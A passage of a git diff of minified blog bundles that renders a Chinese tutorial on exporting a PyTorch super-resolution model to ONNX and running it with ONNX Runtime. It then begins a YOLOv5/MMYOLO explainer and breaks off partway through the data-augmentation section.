\u4ee3\u7801\u5b9e\u6218"}),"\n",(0,o.jsxs)(e.p,{children:["\u672c\u90e8\u5206\u4ee3\u7801\u9009\u81eaPyTorch\u5b98\u7f51\u793a\u4f8b\u4ee3\u7801\uff0c\u8bbf\u95ee\u94fe\u63a5\u53ef\u70b9\u51fb\u4e0b\u65b9\u63a8\u8350\u9605\u8bfb2\u8fdb\u884c\u67e5\u770b\u548c\u4f7f\u7528\u5b98\u7f51\u63d0\u4f9b\u7684Colab\u5bf9onnx\u5bfc\u51fa\u8fdb\u884c\u8fdb\u4e00\u6b65\u7406\u89e3\u3002",(0,o.jsx)(e.em,{children:"\u5982\u6709\u4fb5\u6743\uff0c\u53ef\u7acb\u5373\u5220\u9664"})]}),"\n",(0,o.jsx)(e.h3,{id:"1-\u5b9a\u4e49\u8d85\u5206\u8fa8\u6a21\u578b",children:"1. \u5b9a\u4e49\u8d85\u5206\u8fa8\u6a21\u578b"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:"# \u5bfc\u5165\u76f8\u5173\u5305\nimport io\nimport numpy as np\nfrom torch import nn\nimport torch.utils.model_zoo as model_zoo\nimport torch.onnx\nimport torch.nn as nn\nimport torch.nn.init as init\n\n# \u5b9a\u4e49\u8d85\u5206\u8fa8\u7f51\u7edc\nclass SuperResolutionNet(nn.Module):\n def __init__(self, upscale_factor, inplace=False):\n super(SuperResolutionNet, self).__init__()\n\n self.relu = nn.ReLU(inplace=inplace)\n self.conv1 = nn.Conv2d(1, 64, (5, 5), (1, 1), (2, 2))\n self.conv2 = nn.Conv2d(64, 64, (3, 3), (1, 1), (1, 1))\n self.conv3 = nn.Conv2d(64, 32, (3, 3), (1, 1), (1, 1))\n self.conv4 = nn.Conv2d(32, upscale_factor ** 2, (3, 3), (1, 1), (1, 1))\n self.pixel_shuffle = nn.PixelShuffle(upscale_factor)\n\n self._initialize_weights()\n\n def forward(self, x):\n x = self.relu(self.conv1(x))\n x = self.relu(self.conv2(x))\n x = self.relu(self.conv3(x))\n x = self.pixel_shuffle(self.conv4(x))\n return x\n \n\t# \u6a21\u578b\u521d\u59cb\u5316\n def _initialize_weights(self):\n init.orthogonal_(self.conv1.weight, init.calculate_gain('relu'))\n init.orthogonal_(self.conv2.weight, init.calculate_gain('relu'))\n init.orthogonal_(self.conv3.weight, init.calculate_gain('relu'))\n init.orthogonal_(self.conv4.weight)\n\n# \u5b9e\u4f8b\u5316\u6a21\u578b\ntorch_model = SuperResolutionNet(upscale_factor=3)\n"})}),"\n",(0,o.jsx)(e.h3,{id:"2-\u6a21\u578b\u5bfc\u51fa\u4e3aonnx\u683c\u5f0f",children:"2. \u6a21\u578b\u5bfc\u51fa\u4e3aONNX\u683c\u5f0f"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:"model_url = 'https://s3.amazonaws.com/pytorch/test_data/export/superres_epoch100-44c6958e.pth'\nbatch_size = 1 # just a random number\n# \u52a0\u8f7d\u9884\u8bad\u7ec3\u5f97\u5230\u6743\u91cd\nmap_location = lambda storage, loc: storage\nif torch.cuda.is_available():\n map_location = None\ntorch_model.load_state_dict(model_zoo.load_url(model_url, map_location=map_location))\n\n# \u5c06\u6a21\u578b\u8bbe\u7f6e\u4e3a\u63a8\u7406\u6a21\u5f0f\ntorch_model.eval()\n# Input to the model\nx = torch.randn(batch_size, 1, 224, 224, requires_grad=True)\ntorch_out = torch_model(x)\n\n# \u5bfc\u51fa\u6a21\u578b\ntorch.onnx.export(torch_model, # model being run\n x, # model input (or a tuple for multiple inputs)\n \"super_resolution.onnx\", # where to save the model (can be a file or file-like object)\n export_params=True, # store the trained parameter weights inside the model file\n opset_version=10, # the ONNX version to export the model to\n do_constant_folding=True, # whether to execute constant folding for optimization\n input_names = ['input'], # the model's input names\n output_names = ['output'], # the model's output names\n # variable length axes\n dynamic_axes={'input' : {0 : 'batch_size'}, \n 'output' : {0 : 'batch_size'}})\n"})}),"\n",(0,o.jsx)(e.h3,{id:"3-\u68c0\u9a8connx\u6a21\u578b",children:"3. \u68c0\u9a8cONNX\u6a21\u578b"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:'import onnx\n# \u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5f02\u5e38\u5904\u7406\u7684\u65b9\u6cd5\u8fdb\u884c\u68c0\u9a8c\ntry:\n # \u5f53\u6211\u4eec\u7684\u6a21\u578b\u4e0d\u53ef\u7528\u65f6\uff0c\u5c06\u4f1a\u62a5\u51fa\u5f02\u5e38\n onnx.checker.check_model("super_resolution.onnx")\nexcept onnx.checker.ValidationError as e:\n print("The model is invalid: %s"%e)\nelse:\n # \u6a21\u578b\u53ef\u7528\u65f6\uff0c\u5c06\u4e0d\u4f1a\u62a5\u51fa\u5f02\u5e38\uff0c\u5e76\u4f1a\u8f93\u51fa\u201cThe model is valid!\u201d\n print("The model is valid!")\n'})}),"\n",(0,o.jsx)(e.h3,{id:"4-\u4f7f\u7528onnx-runtime\u8fdb\u884c\u63a8\u7406",children:"4. \u4f7f\u7528ONNX Runtime\u8fdb\u884c\u63a8\u7406"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:'import onnxruntime\n\nort_session = onnxruntime.InferenceSession("super_resolution.onnx")\n\n# \u5c06\u5f20\u91cf\u8f6c\u5316\u4e3andarray\u683c\u5f0f\ndef to_numpy(tensor):\n return tensor.detach().cpu().numpy() if tensor.requires_grad else tensor.cpu().numpy()\n\n# \u6784\u5efa\u8f93\u5165\u7684\u5b57\u5178\u548c\u8ba1\u7b97\u8f93\u51fa\u7ed3\u679c\nort_inputs = {ort_session.get_inputs()[0].name: to_numpy(x)}\nort_outs = ort_session.run(None, ort_inputs)\n\n# \u6bd4\u8f83\u4f7f\u7528PyTorch\u548cONNX Runtime\u5f97\u51fa\u7684\u7cbe\u5ea6\nnp.testing.assert_allclose(to_numpy(torch_out), ort_outs[0], rtol=1e-03, atol=1e-05)\n\nprint("Exported model has been tested with ONNXRuntime, and the result looks good!")\n'})}),"\n",(0,o.jsx)(e.h3,{id:"5-\u8fdb\u884c\u5b9e\u9645\u9884\u6d4b\u5e76\u53ef\u89c6\u5316",children:"5. \u8fdb\u884c\u5b9e\u9645\u9884\u6d4b\u5e76\u53ef\u89c6\u5316"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:'from PIL import Image\nimport torchvision.transforms as transforms\n\n# \u8bfb\u53d6\u56fe\u7247\nimg = Image.open("/cat_224x224.jpg")\n# \u5bf9\u56fe\u7247\u8fdb\u884cresize\u64cd\u4f5c\nresize = transforms.Resize([224, 224])\nimg = resize(img)\n\nimg_ycbcr = img.convert(\'YCbCr\')\nimg_y, img_cb, img_cr = img_ycbcr.split()\n\nto_tensor = transforms.ToTensor()\nimg_y = to_tensor(img_y)\nimg_y.unsqueeze_(0)\n# \u6784\u5efa\u8f93\u5165\u7684\u5b57\u5178\u5e76\u5c06value\u8f6c\u6362\u4f4darray\u683c\u5f0f\nort_inputs = {ort_session.get_inputs()[0].name: to_numpy(img_y)}\nort_outs = ort_session.run(None, ort_inputs)\nimg_out_y = ort_outs[0]\nimg_out_y = Image.fromarray(np.uint8((img_out_y[0] * 255.0).clip(0, 255)[0]), mode=\'L\')\n\n# \u4fdd\u5b58\u6700\u540e\u5f97\u5230\u7684\u56fe\u7247\nfinal_img = Image.merge(\n "YCbCr", [\n img_out_y,\n img_cb.resize(img_out_y.size, Image.BICUBIC),\n img_cr.resize(img_out_y.size, Image.BICUBIC),\n ]).convert("RGB")\n\nfinal_img.save("/cat_superres_with_ort.jpg")\n'})}),"\n",(0,o.jsx)(e.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,o.jsxs)(e.ol,{children:["\n",(0,o.jsx)(e.li,{children:(0,o.jsx)(e.a,{href:"https://docs.microsoft.com/zh-cn/windows/ai/windows-ml/tutorials/pytorch-convert-model",children:"miscroft-\u5c06 PyTorch \u8bad\u7ec3\u6a21\u578b\u8f6c\u6362\u4e3a ONNX"})}),"\n",(0,o.jsx)(e.li,{children:(0,o.jsx)(e.a,{href:"https://pytorch.org/tutorials/advanced/super_resolution_with_onnxruntime.html",children:"pytorch- EXPORTING A MODEL FROM PYTORCH TO ONNX AND RUNNING IT USING ONNX RUNTIME"})}),"\n",(0,o.jsx)(e.li,{children:(0,o.jsx)(e.a,{href:"https://github.com/onnx/tutorials#converting-to-onnx-format",children:"ONNX tutorials"})}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,o.jsx)(e,{...n,children:(0,o.jsx)(a,{...n})}):a(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>s,x:()=>l});var i=t(96540);const o={},r=i.createContext(o);function s(n){const e=i.useContext(r);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(o):n.components||o:s(n.components),i.createElement(r.Provider,{value:e},n.children)}},69695:(n,e,t)=>{t.d(e,{A:()=>i});const i=t.p+"assets/images/screenshot-e03068e76a67aca3a37193deba005a3a.png"},93752:(n,e,t)=>{t.d(e,{A:()=>i});const i=t.p+"assets/images/frameworks-96dcf243dd832ead7229e20167dd813b.png"},98927:(n,e,t)=>{t.d(e,{A:()=>i});const i=t.p+"assets/images/node-a3181bdc49f091d1a4d0d75cedb89fd6.png"}}]); \ No newline at end of file diff --git a/assets/js/9e633a4f.2e2a4ff1.js b/assets/js/9e633a4f.2e2a4ff1.js new file mode 100644 index 0000000..c4bea72 --- /dev/null +++ b/assets/js/9e633a4f.2e2a4ff1.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6702],{28453:(n,e,s)=>{s.d(e,{R:()=>l,x:()=>d});var i=s(96540);const r={},c=i.createContext(r);function l(n){const e=i.useContext(c);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:l(n.components),i.createElement(c.Provider,{value:e},n.children)}},79276:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>a,contentTitle:()=>d,default:()=>o,frontMatter:()=>l,metadata:()=>i,toc:()=>t});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description","title":"yolov5_description.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"rtmdet_description.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description"},"next":{"title":"torch\u5b9e\u73b0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/torch\u5b9e\u73b0/"}}');var r=s(74848),c=s(28453);const l={},d="yolov5_description.md",a={},t=[{value:"0 \u7b80\u4ecb",id:"0-\u7b80\u4ecb",level:2},{value:"1 v6.1 \u7b97\u6cd5\u539f\u7406\u548c MMYOLO \u5b9e\u73b0\u89e3\u6790",id:"1-v61-\u7b97\u6cd5\u539f\u7406\u548c-mmyolo-\u5b9e\u73b0\u89e3\u6790",level:2},{value:"1.1 \u6570\u636e\u589e\u5f3a\u6a21\u5757",id:"11-\u6570\u636e\u589e\u5f3a\u6a21\u5757",level:3},{value:"1.1.1 Mosaic \u9a6c\u8d5b\u514b",id:"111-mosaic-\u9a6c\u8d5b\u514b",level:4},{value:"1.1.2 RandomAffine \u968f\u673a\u4eff\u5c04\u53d8\u6362",id:"112-randomaffine-\u968f\u673a\u4eff\u5c04\u53d8\u6362",level:4},{value:"1.1.3 MixUp",id:"113-mixup",level:4},{value:"1.1.4 \u56fe\u50cf\u6a21\u7cca\u548c\u5176\u4ed6\u6570\u636e\u589e\u5f3a\u7b56\u7565",id:"114-\u56fe\u50cf\u6a21\u7cca\u548c\u5176\u4ed6\u6570\u636e\u589e\u5f3a\u7b56\u7565",level:4},{value:"1.1.5 MMYOLO \u5b9e\u73b0\u89e3\u6790",id:"115-mmyolo-\u5b9e\u73b0\u89e3\u6790",level:4},{value:"1.2 \u7f51\u7edc\u7ed3\u6784",id:"12-\u7f51\u7edc\u7ed3\u6784",level:3},{value:"1.2.1 Backbone",id:"121-backbone",level:4},{value:"1.2.2 Neck",id:"122-neck",level:4},{value:"1.2.3 Head",id:"123-head",level:4},{value:"1.3 \u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565",id:"13-\u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565",level:3},{value:"1.3.1 Anchor \u8bbe\u7f6e",id:"131-anchor-\u8bbe\u7f6e",level:4},{value:"1.3.2 Bbox \u7f16\u89e3\u7801\u8fc7\u7a0b",id:"132-bbox-\u7f16\u89e3\u7801\u8fc7\u7a0b",level:4},{value:"1.3.3 \u5339\u914d\u7b56\u7565",id:"133-\u5339\u914d\u7b56\u7565",level:4},{value:"1.4 Loss \u8bbe\u8ba1",id:"14-loss-\u8bbe\u8ba1",level:3},{value:"1.5 \u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b",id:"15-\u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b",level:3},{value:"1.5.1 \u4f18\u5316\u5668\u5206\u7ec4",id:"151-\u4f18\u5316\u5668\u5206\u7ec4",level:4},{value:"1.5.2 weight decay \u53c2\u6570\u81ea\u9002\u5e94",id:"152-weight-decay-\u53c2\u6570\u81ea\u9002\u5e94",level:4},{value:"1.5.3 \u68af\u5ea6\u7d2f\u52a0",id:"153-\u68af\u5ea6\u7d2f\u52a0",level:4},{value:"1.6 \u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b",id:"16-\u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b",level:3},{value:"1.6.1 \u6838\u5fc3\u63a7\u5236\u53c2\u6570",id:"161-\u6838\u5fc3\u63a7\u5236\u53c2\u6570",level:4},{value:"1.6.2 batch shape \u7b56\u7565",id:"162-batch-shape-\u7b56\u7565",level:4},{value:"2 \u603b\u7ed3",id:"2-\u603b\u7ed3",level:2}];function h(n){const e={a:"a",code:"code",div:"div",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"yolov5_descriptionmd",children:"yolov5_description.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:40"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"yolov5-\u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790",children:"YOLOv5 \u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"}),"\n",(0,r.jsx)(e.h2,{id:"0-\u7b80\u4ecb",children:"0 \u7b80\u4ecb"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"YOLOv5_structure_v3.4",src:"https://user-images.githubusercontent.com/27466624/200000324-70ae078f-cea7-4189-8baa-440656797dad.jpg"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee5\u4e0a\u7ed3\u6784\u56fe\u7531 RangeKing@github \u7ed8\u5236\u3002"}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u662f\u4e00\u4e2a\u9762\u5411\u5b9e\u65f6\u5de5\u4e1a\u5e94\u7528\u800c\u5f00\u6e90\u7684\u76ee\u6807\u68c0\u6d4b\u7b97\u6cd5\uff0c\u53d7\u5230\u4e86\u5e7f\u6cdb\u5173\u6ce8\u3002\u6211\u4eec\u8ba4\u4e3a\u8ba9 YOLOv5 \u7206\u706b\u7684\u539f\u56e0\u4e0d\u5355\u7eaf\u5728\u4e8e YOLOv5 \u7b97\u6cd5\u672c\u8eab\u7684\u4f18\u5f02\u6027\uff0c\u66f4\u591a\u7684\u5728\u4e8e\u5f00\u6e90\u5e93\u7684\u5b9e\u7528\u548c\u9c81\u68d2\u6027\u3002\u7b80\u5355\u6765\u8bf4 YOLOv5 \u5f00\u6e90\u5e93\u7684\u4e3b\u8981\u7279\u70b9\u4e3a\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"\u53cb\u597d\u548c\u5b8c\u5584\u7684\u90e8\u7f72\u652f\u6301"})}),"\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.strong,{children:"\u7b97\u6cd5\u8bad\u7ec3\u901f\u5ea6\u6781\u5feb"}),"\uff0c\u5728 300 epoch \u60c5\u51b5\u4e0b\u8bad\u7ec3\u65f6\u957f\u548c\u5927\u90e8\u5206 one-stage \u7b97\u6cd5\u5982 RetinaNet\u3001ATSS \u548c two-stage \u7b97\u6cd5\u5982 Faster R-CNN \u5728 12 epoch \u7684\u8bad\u7ec3\u65f6\u95f4\u63a5\u8fd1"]}),"\n",(0,r.jsxs)(e.li,{children:["\u6846\u67b6\u8fdb\u884c\u4e86",(0,r.jsx)(e.strong,{children:"\u975e\u5e38\u591a\u7684 corner case \u4f18\u5316"}),"\uff0c\u529f\u80fd\u548c\u6587\u6863\u4e5f\u6bd4\u8f83\u4e30\u5bcc"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u672c\u6587\u5c06\u4ece YOLOv5 \u7b97\u6cd5\u672c\u8eab\u539f\u7406\u8bb2\u8d77\uff0c\u7136\u540e\u91cd\u70b9\u5206\u6790 MMYOLO \u4e2d\u7684\u5b9e\u73b0\u3002\u5173\u4e8e YOLOv5 \u7684\u4f7f\u7528\u6307\u5357\u548c\u901f\u5ea6\u7b49\u5bf9\u6bd4\u8bf7\u9605\u8bfb\u672c\u6587\u7684\u540e\u7eed\u5185\u5bb9\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5e0c\u671b\u672c\u6587\u80fd\u591f\u6210\u4e3a\u4f60\u5165\u95e8\u548c\u638c\u63e1 YOLOv5 \u7684\u6838\u5fc3\u6587\u6863\u3002\u7531\u4e8e YOLOv5 \u672c\u8eab\u4e5f\u5728\u4e0d\u65ad\u8fed\u4ee3\u66f4\u65b0\uff0c\u6211\u4eec\u4e5f\u4f1a\u4e0d\u65ad\u7684\u66f4\u65b0\u672c\u6587\u6863\u3002\u8bf7\u6ce8\u610f\u9605\u8bfb\u6700\u65b0\u7248\u672c\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["MMYOLO \u5b9e\u73b0\u914d\u7f6e\uff1a",(0,r.jsx)(e.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/configs/yolov5/",children:"https://github.com/open-mmlab/mmyolo/blob/main/configs/yolov5/"})]}),"\n",(0,r.jsxs)(e.p,{children:["YOLOv5 \u5b98\u65b9\u5f00\u6e90\u5e93\u5730\u5740\uff1a",(0,r.jsx)(e.a,{href:"https://github.com/ultralytics/yolov5",children:"https://github.com/ultralytics/yolov5"})]}),"\n",(0,r.jsx)(e.h2,{id:"1-v61-\u7b97\u6cd5\u539f\u7406\u548c-mmyolo-\u5b9e\u73b0\u89e3\u6790",children:"1 v6.1 \u7b97\u6cd5\u539f\u7406\u548c MMYOLO \u5b9e\u73b0\u89e3\u6790"}),"\n",(0,r.jsxs)(e.p,{children:["YOLOv5 \u5b98\u65b9 release \u5730\u5740\uff1a",(0,r.jsx)(e.a,{href:"https://github.com/ultralytics/yolov5/releases/tag/v6.1",children:"https://github.com/ultralytics/yolov5/releases/tag/v6.1"})]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"YOLOv5\u7cbe\u5ea6\u56fe",src:"https://user-images.githubusercontent.com/40284075/190542120-29d46b7e-ce3c-436a-9933-cfc9f86787bf.png"}),"\n"]}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"YOLOv5\u7cbe\u5ea6\u901f\u5ea6\u56fe",src:"https://user-images.githubusercontent.com/40284075/190542279-37734629-2b59-4bd8-a9bf-757875a93eed.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u6027\u80fd\u5982\u4e0a\u8868\u6240\u793a\u3002YOLOv5 \u6709 P5 \u548c P6 \u4e24\u4e2a\u4e0d\u540c\u8bad\u7ec3\u8f93\u5165\u5c3a\u5ea6\u7684\u6a21\u578b\uff0cP6 \u5373\u4e3a 1280x1280 \u8f93\u5165\u7684\u5927\u6a21\u578b\uff0c\u901a\u5e38\u7528\u7684\u662f P5 \u5e38\u89c4\u6a21\u578b\uff0c\u8f93\u5165\u5c3a\u5bf8\u662f 640x640 \u3002\u672c\u6587\u89e3\u8bfb\u7684\u4e5f\u662f P5 \u6a21\u578b\u7ed3\u6784\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u5e38\u6765\u8bf4\uff0c\u76ee\u6807\u68c0\u6d4b\u7b97\u6cd5\u90fd\u53ef\u4ee5\u5206\u6210\u6570\u636e\u589e\u5f3a\u3001\u6a21\u578b\u7ed3\u6784\u3001loss \u8ba1\u7b97\u7b49\u7ec4\u4ef6\uff0cYOLOv5 \u4e5f\u4e00\u6837\uff0c\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"\u8bad\u7ec3\u6d4b\u8bd5\u7b56\u7565",src:"https://user-images.githubusercontent.com/40284075/190542423-f6b20d8e-c82a-4a34-9065-c161c5e29e7c.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u5c06\u4ece\u539f\u7406\u548c\u7ed3\u5408 MMYOLO \u7684\u5177\u4f53\u5b9e\u73b0\u65b9\u9762\u8fdb\u884c\u7b80\u8981\u5206\u6790\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"11-\u6570\u636e\u589e\u5f3a\u6a21\u5757",children:"1.1 \u6570\u636e\u589e\u5f3a\u6a21\u5757"}),"\n",(0,r.jsx)(e.p,{children:"YOLOv5 \u76ee\u6807\u68c0\u6d4b\u7b97\u6cd5\u4e2d\u4f7f\u7528\u7684\u6570\u636e\u589e\u5f3a\u6bd4\u8f83\u591a\uff0c\u5305\u62ec\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"Mosaic \u9a6c\u8d5b\u514b"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"RandomAffine \u968f\u673a\u4eff\u5c04\u53d8\u6362"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"MixUp"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"\u56fe\u50cf\u6a21\u7cca\u7b49\u91c7\u7528 Albu \u5e93\u5b9e\u73b0\u7684\u53d8\u6362"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"HSV \u989c\u8272\u7a7a\u95f4\u589e\u5f3a"})}),"\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.strong,{children:"\u968f\u673a\u6c34\u5e73\u7ffb\u8f6c"})}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2d Mosaic \u6570\u636e\u589e\u5f3a\u6982\u7387\u4e3a 1\uff0c\u8868\u793a\u4e00\u5b9a\u4f1a\u89e6\u53d1\uff0c\u800c\u5bf9\u4e8e small \u548c nano \u4e24\u4e2a\u7248\u672c\u7684\u6a21\u578b\u4e0d\u4f7f\u7528 MixUp\uff0c\u5176\u4ed6\u7684 l/m/x \u7cfb\u5217\u6a21\u578b\u5219\u91c7\u7528\u4e86 0.1 \u7684\u6982\u7387\u89e6\u53d1 MixUp\u3002\u5c0f\u6a21\u578b\u80fd\u529b\u6709\u9650\uff0c\u4e00\u822c\u4e0d\u4f1a\u91c7\u7528 MixUp \u7b49\u5f3a\u6570\u636e\u589e\u5f3a\u7b56\u7565\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u6838\u5fc3\u7684 Mosaic + RandomAffine + MixUp \u8fc7\u7a0b\u7b80\u8981\u7ed8\u5236\u5982\u4e0b\uff1a"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190542598-bbf4a159-cc9d-4bac-892c-46ef99267994.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u5bf9\u5176\u8fdb\u884c\u7b80\u8981\u5206\u6790\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"111-mosaic-\u9a6c\u8d5b\u514b",children:"1.1.1 Mosaic \u9a6c\u8d5b\u514b"}),"\n",(0,r.jsxs)(e.div,{align:"center",children:["\n",(0,r.jsx)(e.img,{alt:"image",src:"https://user-images.githubusercontent.com/40284075/190542619-d777894f-8928-4244-b39a-158eea416ccd.png"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"Mosaic \u5c5e\u4e8e\u6df7\u5408\u7c7b\u6570\u636e\u589e\u5f3a\uff0c\u56e0\u4e3a\u5b83\u5728\u8fd0\u884c\u65f6\u5019\u9700\u8981 4 \u5f20\u56fe\u7247\u62fc\u63a5\uff0c\u53d8\u76f8\u7684\u76f8\u5f53\u4e8e\u589e\u52a0\u4e86\u8bad\u7ec3\u7684 batch size\u3002\u5176\u8fd0\u884c\u8fc7\u7a0b\u7b80\u8981\u6982\u51b5\u4e3a\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u968f\u673a\u751f\u6210\u62fc\u63a5\u540e 4 \u5f20\u56fe\u7684\u4ea4\u63a5\u4e2d\u5fc3\u70b9\u5750\u6807\uff0c\u6b64\u65f6\u5c31\u76f8\u5f53\u4e8e\u786e\u5b9a\u4e86 4 \u5f20\u62fc\u63a5\u56fe\u7247\u7684\u4ea4\u63a5\u70b9"}),"\n",(0,r.jsx)(e.li,{children:"\u968f\u673a\u9009\u51fa\u53e6\u5916 3 